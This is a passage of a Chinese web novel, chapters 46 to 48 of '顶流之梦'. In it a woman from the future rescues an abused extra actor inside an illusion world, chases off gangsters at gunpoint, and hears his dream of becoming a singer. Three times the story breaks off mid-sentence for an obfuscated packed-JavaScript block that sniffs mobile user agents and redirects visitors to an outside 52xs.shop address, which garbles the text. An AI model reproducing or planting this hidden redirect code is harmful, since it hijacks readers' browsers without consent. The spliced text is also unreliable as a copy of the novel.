“我一辈子都会是个龙套。” “我一辈子都会拍这样的戏。” “打回来……”男生自嘲地低笑两声，“怎么打回来啊。” “我可能哪一天，就直接像这样被人打死了。” “对不对？” 女生很想说，你已经很努力了。 但她想到刚刚的局面，却也跟男生一样，变得表情黯然。 是啊。他已经很努力了，却没有换回任何的成功。 他忍了那么久，却还是没有拍完这一场戏。 他甚至没有得到一句导演的道歉。 “不会的。” 女生只能没有底气地留下这样一句话，离开了。 导演再次下令：“开始！” 这一场戏，再次重拍。 分手周而复始，殴打也周而复始。 男生有些怀疑，自己的人生是不是困在了拳脚相加的塑胶跑道上。但他想到之前的领悟，继续将嘴里的血包当做自己的梦想，小心翼翼地含着。 他学聪明了，脸不再贴着塑胶跑套。 他怕擦伤。 倒不是怕痛，他怕擦出了血，又因为提前“卖惨”而终止这一场戏。 于是男生就这样蜷缩着，微微昂头，他忍着痛，默念着“好好工作，把握机会，好好工作，把握机会……” 忽然，男生似乎听到了一道声音。 这道声音从天上传来，朦朦胧胧，犹如一声闷雷，却又十分连贯地念出了几个字。 可是那些字含糊不清，难辨其意。 声音重复了两三遍后，就消失了。 男生自然不知道，当这道声音响起的时候，场外只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491967|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人真真切切地听到了那道声音在呼喊着什么——姜小渔。 而这个人听到声音后，目光瞬间变得无比坚定。 场内，男生只能在连绵的剧痛中，勉强挤出一点理智。 他觉得有些奇怪：这个声音是只有自己听到吗？因为导演要求极其严格，一旦出现这种意料之外的声响，应该喊“停止”才对。 是被打晕前的幻觉吧吗？ 他嘲弄地想着，维持着微微昂头的姿势，想去确认导演的态度。 然而，当男生看到距离自己最近的一台悬浮摄像设备时，他突然愣住了。 在摄像镜头的倒影中，男生看到，刚刚那个场务女生怎么正在冲来…… 与之前不同的是，场务女生的脸上，少了几分温和，多了几分肃杀。 镜头倒影中，女生大步迈近，下一秒，竟万分果决地侧身挥拳！ 一记拳头狠狠砸在一名西装男的脸上，几颗牙齿伴随着鲜血弹到镜头上，又坠落在地。 男生彻底愣住了。 他手撑着地，转身看去，女生正抬脚踹在另一名西装男的下颌处，接连两声惨叫声后，女生揪住剩余两名西装男的衣领，同时拉近，手肘先攻，膝盖在后，瞬息之间，两名西装男就捂着面门与腹部躺在地上哀嚎了。 细雨中，女生像一只误入片场的野兽，她穿着牛仔裤衬衫的简单装饰，扎着普通的马尾，这名打工人的一切看上去都是那么朴实无华，却散发着盎然的战意。 疯了。报警吧。谁啊。会死人吧。拖欠工资吗。地上那些血是怎么回事？原来那个龙套流了这么多血吗。种种念头突兀地出现在每个人的脑海中，他们都站大嘴巴，看着片场中沉默的场务与龙套。其实那一片小区域中一直上演着打戏，只不过都无人在意，现在，意料之外的拳头则抢夺了男女主的光环。 男生呆呆地看着女生俯下身来，露出一个礼貌的微笑，向自己伸出手。 “温不朽，对吗？” 温不朽下意识地点点头。 “我叫姜渔。” 姜渔说完，拉起温不朽，看着在地上滚来滚去的四名西装男，满意地点了点头，说：“这样打回来也行，可以省掉成为大明星的过程。” “等会啊……我好像是被打出幻觉了。” 温不朽听完，从嘴里吐出血包，接着松开姜渔的手，两个拳头怼在自己太阳穴上旋转个不停。 很快，导演的怒吼声，为温不朽证实这一切不是他的幻觉：“那那那个场务，你要干什么！” 姜渔一个眼刀瞥向导演：“滚！” 导演气得两眼一黑。 “你工作没了！知道不知道！还有那个龙套！你们两个工作都没了！” 导演拿下帽子一摔，他看着躺在地上哀嚎的四名黄金配角、超绝打手，眼神清明了一瞬，随后怒气冲冲地说：“今天不拍了！我倒要看看到底是谁滚！” 然后导演就跟面面相觑的工作人员收拾设备走掉了。 姜渔看着四散的人群：“这不还是你滚吗。” 温不朽站在原地，站也不是，走也不是，他看到自称姜渔的场务女生回过头来，四目相对，一时只有雨声。 忽然，姜渔说：“你会的。” 温不朽愣了愣：“什么？” “你会成为大明星的。” “你怎么知道？” “看来，这里是你的过去，对吧。”姜渔环顾了一下灰沉沉的景色，转身正视温不朽，说道：“你可以理解为，我是从未来过来帮助你的人。” 帮助……我？ 温不朽看向抛弃自己的剧组人员，收回目光，又看向姜渔滴着别人鲜血的拳头。 身为一名刚刚被炒鱿鱼的龙套。 他有一丝怀疑。 46. 顶流之梦（二） 短短几秒，乌云消散，雨过天晴。 空气湿润，夹杂着泥土与青草的清新味道。 姜渔自从前往曙光之城后，很久没有闻到大自然的气息了。她没有探究天气为什么会骤然变化，而是不禁贪婪地深呼吸了几口空气。 温不朽也在深呼吸—— 他说：“未来？” “嗯，十多年后吧。” “帮我？” “是的。我会义无反顾地帮你。”姜渔转身，目光坚毅。 “哦，这样啊。”温不朽犹豫一下，说：“可以请你……” 温不朽的话没有说完，被他成为“祺哥”的中年男人一步步靠近两人，他惊疑不定地看着姜渔，说：“这位是……” “你好，我是他的经纪人。”姜渔微笑着点头示意，说：“从今以后，我将负责他的演艺活动。” “啊？” 温不朽与祺哥共同发出疑问的声音。 “你是他经纪人？那我又是谁？”祺哥脸色阴暗不明，“你以为凭三拳两脚就能随随便便来挖老子的人吗？” 温不朽慌张地靠近祺哥，脸色焦急：“听我解释，祺哥，事情不是这样的……” “闭嘴！这里有你说话的份吗？”祺哥怒斥着推开温不朽。 他身高与温不朽相仿，都是一米八多的个头，只不过膀大腰圆，肚子发福，约有两百多斤的样子，对照之下显得姜渔格外瘦小。 祺哥睥睨姜渔，说：“姑娘，你是没听过我们百盛娱乐的名头，还是专门冲着我们来的？我看你有几分身手，想必是后者喽？” “我既没听过百盛，也跟你们没有恩怨。”姜渔面不改色，指了指温不朽，说：“我是冲他来的。” 温不朽连忙将姜渔拉走。 他声音压低，语气急切：“这位场务，我不知道你的底细啊，但我真的很感谢你为我解围。至于百盛娱乐……他们是黑恶势力起家的，你就不要再因为我惹上麻烦了。” 姜渔声音沉稳：“放心，我会带你走的。” “不要再这样下去了。我不知道你是哪家娱乐公司的，总之，我很谢谢你的赏识。其实我蛮能理解的，我很努力，演技尚可，小有灵性，外貌条件也还行，声台行表样样不差，但你真的惹不起百盛的！别再抢我啦——” 姜渔瞥了温不朽一眼。 发型凌乱，满脸是血，泥浆与血混在衣服上，邋里邋遢，扮相与“挨揍的小混混”简直是天作之合，就是一个有点姿色的小瘪三而已……怎么还越说越自恋了呢。 “小反骨仔，嘀咕什么呢！”祺哥大步流星迈过来，再次将温不朽退到一边，瞪着眼睛向姜渔说：“听好了，就算这个垃圾脑袋再笨，演得再差，以后再不成气候，他永远都是百盛的一条狗！百盛喂他吃一口饭，他就要给百盛卖一辈子的命！” “哦？是吗？”姜渔不禁冷笑一声，“我可听过，打狗还需看主人呢，但是当他被打的时候，你怎么赔得都是笑脸呢？有你这样的人带他，他永远就只能做一条狗！永远担惊受怕，唯唯诺诺，卑躬屈膝地看人脸色，永远一事无成！” “你懂个屁！要不是他长得人模人样，他连龙套都演不上！” “一个绣花枕头，没有真正的贵人指引，永远就只是一个绣花枕头，草包，花瓶！” 等等……从目前的形势来看，你们不是在抢我吗，怎么听上去句句都是在骂我呢？ 温不朽站在一旁听得心里五味杂陈的。 尤其是那位叫姜渔的女生。 不是刚刚还说我未来能当大明星的吗？ “好，好，好。”祺哥怒极反笑，他双手撸起袖子，露出臂膀处的部分牡丹文身，随即双手握拳，咯吱作响，“想当年我也是百盛的红花双棍，没想到退下来后竟然会被一个女仔指三道四，既然你今天执意要抢这个垃圾，老子不用枪，给你一点小小的教训，就别怪我心狠手辣！” “好老套的台词，是经典警匪片看多了吗？”姜渔叹了一口气，看向温不朽，自言自语地说道：“还是这个幻境沼泽的原因？” 上一次，陆伯原的幻境沼泽，是一座巨大的天空之城。 这一次，除了这名祺哥总说出一些诸如“反骨仔”、“红花双棍”这种颇具年代感的台词外，倒是暂时没发现什么异样。 思忖间，祺哥已经欺身向前。姜渔定了定神，不退反进，踏步上前，迎着祺哥的拳头向下俯身，身形如游龙般绕到祺哥腰后。 祺哥再回身时，身子僵住。 “你不用，我用。” 姜渔拿着从祺哥腰间挂着的手枪，上膛对准祺哥的眉心，不耐烦地说：“现在可以请你滚了吗？” 祺哥硬着头皮，咬牙说：“好，你有种！你如果真有本事，就在这里别走！我一定回来弄死你！” 祺哥缓缓后退几步，总算转身跑远了。 姜渔收了枪，看向温不朽：“走吧，你现在要去做什么？” 温不朽有些愣住：“什么意思？” “我说过，我是来帮你的。义无反顾的那种。”姜渔表情真诚，“但我们没有多少时间了，你有什么要做的事情，要尽快说。” 姜渔记得上一次陆伯原为自己派发了一个任务，即“带姐姐回家”。 虽然陆伯原被异化的精神锚点是他与许江竹的“关系”，但毋庸置疑的是，这一信息也是在他执行任务的过程中才逐渐披露的。 姜渔赶时间。 她想以最快的速度找到温不朽被异化的精神锚点。 “我……我要去拍下一场戏。”温不朽迟疑地说道，“祺哥今天还给我接了两场戏的。” “嗯。从现在来看，你被异化的精神锚点，有可能是你的身份。”姜渔点点头，她很满意温不朽配合的态度，说：“曾是影帝，在幻境沼泽中却成了龙套。或许帮助你重回巅峰就可以。” 温不朽眼睁睁看着姜渔的嘴唇一张一合，蹦出的却都是听不懂的词汇，有些错愕地问：“你在说什么？” “没关系，你以后会明白。”姜渔拍拍温不朽的肩膀，露出和熙笑容，“让我们朝着你的梦想出发吧。” “你……”温不朽伸出一根手指，不确定地指了指姜渔，“你要一起？” 姜渔神色不满：“你到底有没有听我说话？” “是你到底有没有听祺哥说话啊？”温不朽苦着脸，“你没听到他会再回来找你麻烦吗？” “够了。”姜渔拉住温不朽的手，向校门口走去。 她头也不回地说：“从现在起，只听我说的话。” “可……” “住口，桐枯……哦，抱歉，是温不朽。说起来，不朽是艺名吗？还是本名？长青不朽？”姜渔嘀咕着，“真是一块木头。仿生人和正主都是。” 走出去两三百米，温不朽都没有再说话，他忍着痛被姜渔拉扯，努力跟上姜渔的快步。 “怎么不说话？”姜渔忽地转过身来，怒目温不朽，“你不说话要我怎么帮你？” 温不朽咳嗽了两声。 他说：“走反了。” “刚才怎么不说！” “你让我住口。” “死木头……” 姜渔暗骂一声，扭头走向教学楼的方向，拉得温不朽在身后踉踉跄跄。 …… 教学楼原来是一座摄影棚。 或者说，包括校园的操场在内，都是影视城中的一处布景。教学楼内则囊括了更多的室内布景。 一楼走廊尽头，化妆间内。姜渔站在忙碌的人群中，看温不朽仔细地为自己打上粉底，盖住伤痕，吹干头发，整理发型。过程中，时不时被疼得龇牙咧嘴。 但他的手很快，总是在抢别人用剩下的化妆品、工具、吹风机，明明孤单一人，却又熟练流畅得像一支专业化妆团队。 “我不明白，你到底为什么找上我，又要帮我什么？”温不朽专心致志地对镜化妆，自嘲一笑，“你见过哪个顶流……算了，就算是新人，也不是这么孤零零补妆的吧。嘶。好痛。” 姜渔恍惚间有一些幻视。 她仿佛看到了这一年的自己，她窝在冷清的1301室内，为自己处理伤口，同样是疼得龇牙咧嘴，之后，她会出门，活在同样冷冷清清的云市中。 于是，她淡淡说：“不要唧唧歪歪。” “你变化好大。”温不朽被噎了一下，一半困惑一半畏惧地说：“我还是喜欢你做场务时的样子，至少很温柔。” “我不喜欢你，也不需要你的喜欢。”姜渔语气冷漠，“身为你的经纪人，我需要你听我的话。” “还经纪人呢。唉……” 温不朽联想到不知多久后祺哥就会带人赶来，只觉得万分忧愁，对着镜子深深叹了口气。 而且不喜欢我为什么要做我的经纪人呢。 又为什么，找到我的人，都不喜欢我呢。 我是不是，本身就不够讨人喜欢？ 是不是，不应该抱有这种被人喜欢的梦想？ 姜渔不知道自己的一句话，竟给温不朽造成了一点点的心理创伤。 她只是安静等待温不朽补完妆后，随着他赶往下一个片场。 第一个片场，是在教学楼的二层办公室布景，温不朽饰演一名阿谀奉承的反派小弟。 在这部戏中，温不朽只有一句语气殷勤的“大哥，要不咱们把嫂子出卖了吧？”的弱智台词，随后就被大哥一下又一下地扇着耳光，最后补上一记鞭腿，将温不朽重重踢到玻璃桌子上。 温不朽献计了一次又一次，桌子上的玻璃也碎了一片又一片。殷红又从他廉价的白色衬衣上渗出，与满是皱褶的黑色衣服粘连在一起。 姜渔看了全程，忍不住动容，心想：不愧是影帝，他演弱智还是演得很像的，竟然能把那么脑残的台词念得那么有信念感，不知道的还以为真是他真情实感想出来的呢。 很快，这场戏顺利拍完，导演与剧组的工作人员，都在为霸气侧漏的男主角喝彩，没人来关心温不朽的情况。 甚至因为已经拍完了戏，这个剧组的场务也不再帮温不朽擦去脸上的血迹。 温不朽孤零零向姜渔这边走来。 姜渔问：“继续补妆吗？” “你还没走啊……”温不朽摇摇头：“这样正好，省得补妆了。” 大概半个小时后，姜渔站在人群中，看着温不朽饰演一名叛逃后被捉回来的叛徒。他被主演绑上锁链，吊在场中，一次又一次地殴打。 她才明白温不朽为什么不用补妆了。 原来第二个片场，是审问戏。 这场戏，温不朽没有台词，所用的道具经过了处理，也不会造成严重的伤害，于是蛮快就拍完了。 只不过与之前一样，并没有人在意无力哀嚎的温不朽。 姜渔心底生出了一些疑惑。 看来，这样任由温不朽去演戏，是不对的。至少，他依然被困在幻境沼泽的玩弄之下。 可自己如今进来，又能做什么呢？ 姜渔与温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497403|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不朽向教学楼外走去，心思已经神游物外。 她绞尽脑汁地搜索着关于温不朽的信息。 数十部类型不同的影片，数十个反差巨大的角色。 ……基本没有看过几部。 只是看了一部分的解说。 “我需要靠记住那些精彩的剧本，让温不朽重新再拍出来，从而成为影帝吗？” 姜渔沉思着。 “可是……时间又够吗？” “拍一部电影，时间很长的吧。” “还要排档期上映呢？” “是不是还要等口碑发酵呢？” “就算幻境沼泽和现实中的时间流速再不一样，这一趟流畅下来，恐怕我早就死掉了吧。” 姜渔只好换了个思路，去回忆温不朽的生平经历。 青年出名的影帝，第一次饰演主角后，一举成名。 在那之后，行为举止颇为低调，几乎只在影视作品中出现。 继母亲患上极其罕见的癌症离世后，出入综艺的次数也变得少了许多。露面相对较多的，就是参与盲人公益的活动。 有人拍到他，他都穿着深色的朴素衣服，神情或平静或忧郁。即便如此，这种照片也会引起一番热议。是联邦名副其实的超级顶流。 …… “好像还是都没什么帮助啊……” 行至户外，姜渔从沉思中回神，幽幽叹了口气，忽然看到眼前多了一袋饼干。 “给你。” 温不朽递给姜渔后，坐在操场边的台阶上，他看着空荡无人的操场，说：“快走吧，祺哥真的会带人来的。还有，你今天帮我的事情，我会一直记住这份恩情。” “我说……” “我知道，听你的，对吗？”温不朽偏过头，看着同样坐下来的姜渔侧脸，忽地笑了，“来自未来，要帮我……你让我怎么信啊。” 姜渔撕开袋子，吃了一口饼干，反问：“可我没有帮你吗？” “是在说你帮我打走了那几位黄金配角吗？”温不朽苦笑着摇摇头，“你打走的，是我的工作，和我的经纪人啊……” 姜渔一片片拨弄着饼干，没有答话。 “但话说回来，你的心意，我是领了的。”温不朽正色说道，“所以，也请你领下我的心意，听我的劝，去看一看脑袋吧——如果你还在坚持那些什么未来啊帮我啊的话。” “我……” 姜渔话说到一半，前方不远处忽然传来了一声怒喊：“好家伙！真不走哇！今天老子带兄弟们来，就先让你把一条腿交代在这里！” 姜渔抬头，祺哥为首，带着一批人浩浩荡荡地过来了，像一片黑压压的云。 “够了，你快走！”温不朽神色一变，“再不走真的没机会了，我跟祺哥有点关系，我能帮你拖一拖……” 温不朽说话时看向姜渔，心里忽地一空。 他看到姜渔慢悠悠举起了枪，然后，轻描淡写地扣下了扳机。 砰、砰、砰…… 十四道枪声几乎在一瞬间响起，枪口冒出硝烟。 远处，十四个人倒在地上惨叫。 “这种15发子弹的老式半自动手枪还挺难瞄准的……你的幻境沼泽真是有够复古。”姜渔神色不改地评价着，没有放下枪。 祺哥僵在原地。 那是他的枪，他同样知道共有15发子弹，所以当姜渔没有放下枪而是对准他的时候，祺哥知道，那最后一发子弹是留给他的。 而之前姜渔打出的14发子弹，极快极准，全部打在手下的右腿上，祺哥丝毫不怀疑，自己再有什么异动的话，额头上必然会多出一个血洞。 于是，他一点头、一挥手，说：“好！你有种！我一定回来弄死你！” 身边的小弟贴上去关心地说：“祺哥，你是嗓子哑了吗，声音怎么这么小。” “少放屁！带兄弟们走！” 姜渔忽然出声：“站住。” 祺哥果然站住，连转身都不敢。 “不管签的什么合同，解约了。”姜渔停了一秒，说：“温不朽，我的了。可以的话，就走。” 可以的话，就走。 不可以的话，是不是就走不了了？ 祺哥中气十足：“可以！” 祺哥的人来了又走，操场上又多了一些血迹。 姜渔收回枪，继续说：“我可以去医院，确实可能有线索。所以，冒昧问一下？你母亲癌症去世的时候也是在医院吗？” 姜渔捏起最后一块饼干，将包装袋认真地折在一起。 良久，她发现温不朽一直没有回话。 好奇地看向身边。 温不朽一脸宕机的表情。 他艰难地开口，说：“什……什么癌症？” 姜渔放下折成一只猫形圆饼的包装袋，微微皱眉：“P…P什么一连串数字，失活什么的…完全忘了，怎么了？” 温不朽的双眼中，久久弥漫着震惊。 随后，又褪下去，换做了平静。 他觉得很荒唐，忽然笑了。 “我和我妈分开住很久了，这座城市里，没人知道我妈是谁，住在哪，做什么工作，长什么样子。” “我妈昨天才被确诊。” “给你买饼干的时候，医生刚刚发来短信，说是很稀奇的癌症。” “P53失活型异化瘤。他跟我这样说。” “所以。” 温不朽转过头，看着姜渔：“你真的来自未来，对吗？” 47. 顶流之梦（三） 原来他的妈妈刚刚罹患癌症。 姜渔听后，沉默几秒，说：“嗯。” 温不朽来了兴趣：“在未来，我什么样？” “你成了影帝，拿了很多奖，火得乱七八糟的。” 温不朽长长的“哦”一声，看上去竟没有特别开心。 他说：“这样啊。那你这次过来，是要帮我再次成为影帝吗？” “解释起来比较复杂。你听说过幻境沼泽吗？” “没。” “总之，你有什么想去做的事情，我都可以帮你。” 姜渔认为自己解释得并不清楚，又补充说：“有一些你现在没有注意到的事情，其实是与真实相违背的。我要做的，是陪在你身边，帮你找到这些事情，将其拨乱反正。” “与真实相违背？”温不朽还是有些没听懂，他试探地说：“我这种失败的人生还不算违背真实吗？可以帮我变得有钱一点吗？” “可以啊。”姜渔点点头，“你要多少钱？” 温不朽张大嘴巴，不可置信地吞了口口水：“多少钱……都可以随便说吗？” “也不是，看难度。” “会有多难？” 姜渔神色认真：“如果你要的钱不是很多，我们就去抢比较小的银行。反之，我们便只能去大银行。大银行安保不错，所以就会难一点。” 温不朽与姜渔对视。 然后他发现，这个持枪的场务女生不是在开玩笑。 他哈哈讪笑两声：“算了吧，穷有穷的活法，我可不想被乱枪打死。” “你不明白的。” 姜渔轻轻叹口气，“如果再找不到被异化的精神锚点，我们都会死掉。” “哦……”温不朽虽然内心犹疑不定，但看姜渔不像在装模作样，也没有再插科打诨。 他说：“什么算我想去做的事情？” 姜渔略微思考，说道：“有没有什么是你觉得自己必须要做的事情？换言之，你在这里演戏，是为了什么？” “我啊……” 温不朽抬头望着天，眼神逐渐浮出向往的光芒：“我想积累经验，人脉，当我弄清楚娱乐圈的规则后，我一定要做……” 男主角么？ 还蛮简单的嘛。 姜渔听着，心里有了底。 “一名歌手！”温不朽向着天空坚定地扬起拳头。 …… “啊？” 姜渔狐疑地看向温不朽：“歌手？” “嗯！”温不朽重重点头，“我去祺哥手下面试时，就说过我要做歌手的！但是祺哥说我适合演戏，把我签下后就一直让我跑龙套。” 被异化的精神锚点，是他的“梦想”么？ 还是他向来一直这样认为？ 姜渔不确定地问：“然后呢？做歌手，只需要唱歌就好了。有没有具体要做的事情？” “知道凤巢体育馆吗？” 温不朽越说越激动，他眼中闪着小孩分享玩具时的激动与雀跃，他说：“总有一天，我要站在那里唱歌！台下座无虚席，每个人都会为我喝彩！” 找到了…… 姜渔并没有被温不朽的兴奋影响，她冷静地暗自确定了温不朽的“路”。 与陆伯原要带许江竹回家一样。站在凤巢体育馆为上万名听众唱歌，或许也将是一条寻找真相的路途。 “嗯，你会的，我向你保证。”姜渔说道：“你需要我帮你什么？” “首先是歌迷，然后还要经费申请场地，等待排期，购买设备……这些都需要日积月累才行的，怎么可能很快。” 梦想一落到现实，温不朽肉眼可见地蔫了：“不过几天后，有一个歌星会来开演唱会，我们可以去熟悉一下。” “哦……” 姜渔沉思几秒后，诚恳地温不朽提问： “别人的歌迷可以吗？” 温不朽：？ “别人的场地可以吗？” 温不朽：？？ “别人的设备……这些都可以吧？” 温不朽闭上眼睛，不忍去看姜渔诚恳的目光。 他努力地消化了这一连串提问，说：“你的计划，是不是未免太快了一点？” “机会总是留给有准备的人。”姜渔表情严肃：“歌迷、场地、设备这些事情，那位歌星都已经准备好了。接下来就看我们能不能把握住机会了。” “可这是有准备的人留给了我们机会啊……” “一个意思。” “天差地别好么。” “你是想默默无闻一辈子，还是为你被埋没的天赋拼上几分钟？” 姜渔斜倪了温不朽一样：“还想不想唱歌了？” 温不朽沉默良久。 “……我明白了。”他点点头，说：“我会坚持下去的。” 姜渔满意地点点头：“你要唱什么？” 温不朽笑了笑：“我自己做的歌，我唱给你听。” 嗯？ 虽然是影帝，却在幻境沼泽中怀揣着唱歌的梦想，甚至还是自己作词作曲。姜渔有一点点被温不朽这个埋在内心深处的秘密惊讶到了。 听联邦顶流影帝为自己唱歌，还是蛮特殊的一次体验。姜渔不禁端坐起来，看向跳下台阶的温不朽。 他双手做抱着吉他的样子，不知道要唱的是摇滚还是民谣，双眼微闭，再睁开时，眼中已经充满了深情。 他嗓子压得低沉，挤得嘶哑。 “一棵大树死了，哇啊哇啊，死了！” 姜渔：？ “一株小草死了，哈啊哈啊，死了！” 姜渔：？？ 太好了，是超级难听的抽象摇滚，我们没救了！ “等一下……” 姜渔伸出手，尴尬地笑着说到一半，忽然被温不朽的声音打断了—— “可我不想死也不想活我太帅了我是没有感情的神，所有走兽听我的话所有草木听我的话所有鱼啊所有飞鸟所有风火雷电都听我的话……” 怎么还有快嘴说唱啊！ 姜渔一个箭步跃下台阶上前，抬手捂住了温不朽的嘴。 温不朽诧异地看向矮自己一个头的少女，她的脸上都是痛苦。 她说：“收了神通吧，师傅，别再做法了。” 姜渔缓缓收回手。 “怎么说？很有表达力吧。”温不朽沾沾自喜，“如果有乐队就更完整了。” 姜渔委婉地说道：“抛开别的不说，祺哥让你演戏还是对你挺好的。” 温不朽眨眨眼睛：“可你已经让他和我解约了。” “是，是我造的孽。” 姜渔叹了口气，“但这都是为了活下去，自然是值得的。” 温不朽歪了歪头，仍不理解姜渔的奇怪话语。 未来，到底发生了什么？好像很残酷的样子。 …… 温不朽身上还是有些打车钱的。姜渔随他走出影视基地，两人在路边拦了辆的士，开向温不朽的住所。 这座城市的建筑与街道都与曙光之城类似，但不同的是，无论是商业大厦还是居民住宅，都更加日常，不像曙光之城都是死气沉沉的暗色。街道两侧栽着修剪整齐的景观树，生机盎然。街上开着各种店面，甚至几条街都开满了大排档，因为时间没到深夜，老板与伙计就坐在外面聊天，烟火气十足。 的士拐了个弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504735|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，驶入一条坑坑洼洼的街道，两侧居民楼破败不堪，拥挤又嘈杂。的士就在这条街的尽头停下，姜渔跟着温不朽，路过一个形同虚设的保安亭，进入一栋六层小楼。 没有电梯，两人缓步上去，直至顶楼。温不朽拿出钥匙开门。 咔哒。 温不朽推开门，自然而然地进去换鞋，姜渔尾随其后，接过温不朽递来的拖鞋。 是一双女式拖鞋。 姜渔换上后，通过空间狭小的玄关，来到客厅。 这是一间充满了旧家具气息的小屋。客厅不大，条纹木地板，木质餐桌靠墙摆放，四角都套上了硅胶套，防止不小心撞到。布艺沙发因为过旧，有两个深深的坑，却并不脏，正对着老式显像管电视摆放。 这种家居风格，几乎在旧纪元都很少见了。回想起之前在片场中见到的高科技摄像设备，姜渔感受到了一股浓浓的割裂感。 即如陆伯原居住的小镇与豪华的天空之城一样。 “随便坐。”温不朽说着，拿起茶几上的遥控器，点开了电视，说，“今天应该会有凤巢演唱会的新闻，市里因为明星要来，做了很多宣传呢。” 姜渔默然。 来到这个房间后，温不朽似乎全然失去了“用手机上网查阅新闻”的常识，十分自然地融入了这个复古的场景中。 幻境如梦，主体做什么，都不会觉得奇怪。 电视机内正在播放新闻。 “继本市接连发生十六起车祸后，交通问题如何解决已经成了百姓最关注的事情。尤其是这些车祸中的受害者，大多数都为豪门千金富家子弟，这不得不让人联想到是否与极大财阀背后的商业战争有关……” 温不朽换了台。 “大家现在看到的是人满为患的脑神经科，这已经是今天第二十七位出现失忆症状的患者了，值得一提的是，这些患者年龄普遍年轻，容貌也较为俊美……” 温不朽继续换台。 姜渔渐渐听出了不一样的意味。 “观众朋友们，我已经来到案发现场！据群众反映，受害者并未死亡！啊！他出来了，他在担架上！他还活着！这是否能解开连环杀人案的谜题……” 事关人命，温不朽停下了手中的遥控器。 姜渔也走近几步来到老电视前。 电视中，一名满脸是血的伤员躺在担架上，艰难地看向镜头，磕磕巴巴地说道：“凶手是……” 头一歪，死掉了。 姜渔心中升起了浓浓的不妙感。 “温不朽！怎么回来就看电视！” 忽然，一个不满的声音传来。 姜渔惊讶地回过头，只见一个穿着白色睡裙、脸色苍白的女生，摸着墙壁从卧室走了出来。 她的眉头皱起，很是不满，双目却没有一丝神气。 这是一个盲人女生。 温不朽同样不满地说：“我们只是室友！你管我干什么。何况这也不是睡觉的时间。” “不是，有正事。”女生着急地敲了敲墙，“隔壁正在闹分手呢，你打扰到我偷听了。” 算什么正事啊你。 姜渔一阵无语，忽然，听到雨点落在窗户上的声音。 联想起刚刚来到幻境沼泽时，那名导演也在说“最近几场分手戏都在下雨是老天保佑”的事情，姜渔彻底坐实了心中的那个猜测。 车祸，失忆。 总是放狠话的反派角色祺哥。 永远说不出凶手名字的死者。 分手时，就会下起淅沥沥的小雨。 这就是温不朽的幻境沼泽。 身为一名影帝。 他的幻境沼泽中，充满了狗血剧情。 48. 顶流之梦（四） 雨仍在下。 姜渔看着盲人女孩，出声问：“这位是？” 温不朽专注在电视上：“室友，谢雨晴。” “有客人吗？”谢雨晴呆了一下，表情有些慌张。她走也不是，站也不是，扶着墙格外无助，好不容易才挤出一句，“那我先回屋好了。” “别，初次见面，认识一下。我叫姜渔。” 姜渔上前拉住谢雨晴，她可没准备放过这样一个温不朽的亲近之人。 尤其，还是一位盲人。 现实中，温不朽除了演戏之外，最活跃的活动就是参与救助盲人的公益事业。只是不知道，眼前的谢雨晴是作为“盲人群体”在幻境沼泽中的一个具象化表现，还是另有所指？ 谢雨晴的手柔若无骨，透着股冰凉，被姜渔拉住手后，又多了丝僵硬。 她很不自在。 但姜渔很自在。她拉着谢雨晴到沙发坐下，体贴地问：“室友？” “嗯。” “可是有没有可能，和温不朽是别的关系？”姜渔循循善诱，“情侣？夫妻？仇人？姐弟？兄妹？粉丝？” 谢雨晴本来还对姜渔的第一个推测感到有些冒犯。 但随着姜渔一连串说完，谢雨晴的表情从不悦瞬间变成了惊讶： “啊？温不朽还有粉丝？！” 温不朽一边换台一边在偷听，谢雨晴话音刚落，不悦的表情就转到了他脸上： “说什么呢你，跟你说，人家是从未来来的，我在未来可是影帝，你知不知道？” 谢雨晴沉默几秒：“姜渔，你好。温不朽也许攒了点钱，但我是真的没钱。你要骗就骗他好了。” “我不是来骗人的，何况你俩也真的没什么可骗的。” 姜渔看到电视上忽然闪过一个黑白画面，说：“停，调回刚才的节目。” “旷野台啊？那电视台出了问题，总是卡住。” 温不朽调回刚才的节目。 老式大脑袋电视上，播放雪花画质的黑白影像，而播放这种超级怀旧节目的电视台标志，赫然是温不朽在现实中签约的旷野星光公司。 画面中是一个雨夜，孤独的男生站在街边屋檐下抱着吉他卖唱，没有声音。一个女孩站在他的面前，撑着一把雨伞，久久没有离去。 姜渔问：“怎么一直是这个画面？” 温不朽没好气地回答：“说了卡住了。谁知道电视台什么毛病。” 姜渔点点头。 目前来说，温不朽的主要行动路线是开一场万人演唱会。 疑点却很多。松散地分布在被异化的身份、不为人知的梦想、充满老套剧情的世界观、盲女谢雨晴、卡住的电视画面诸多元素上。 姜渔问：“你找到了你要看的新闻了吗？” 